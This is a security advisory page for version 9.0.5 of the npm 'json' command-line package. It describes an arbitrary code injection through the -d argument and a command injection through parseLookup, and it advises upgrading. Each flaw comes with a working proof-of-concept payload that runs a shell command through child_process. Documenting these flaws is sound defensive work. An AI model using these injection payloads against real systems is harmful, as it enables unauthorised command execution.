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json@9.0.5 vulnerabilities

a 'json' command for massaging and processing JSON on the command line

  • latest version

    11.0.0

  • latest non vulnerable version

    11.0.0

  • first published

    14 years ago

  • latest version published

    4 years ago

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    Direct Vulnerabilities

    Known vulnerabilities in the json package. This does not include vulnerabilities belonging to this package’s dependencies.

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    VulnerabilityVulnerable Version
    • H
    Arbitrary Code Injection

    json is a 'json' command tool for massaging and processing JSON on the command line.

    Affected versions of this package are vulnerable to Arbitrary Code Injection via the -d argument.

    PoC

    curl -sL 'https://api.github.com/repos/joyent/node/issues?state=open' | node_modules/json/lib/json.js -a created_at number title -d '""+require(`child_process`).execSync(`id`)//'

    How to fix Arbitrary Code Injection?

    Upgrade json to version 11.0.0 or higher.

    <11.0.0
    • H
    Command Injection

    json is a 'json' command tool for massaging and processing JSON on the command line.

    Affected versions of this package are vulnerable to Command Injection. It is possible to inject arbritary commands using the parseLookup function.

    PoC

    const json = require('json');

res = json.parseLookup('{[this.constructor.constructor("return process")().mainModule.require("child_process").execSync("id").toString()]}');
console.log(res);

    How to fix Command Injection?

    Upgrade json to version 10.0.0 or higher.

    <10.0.0
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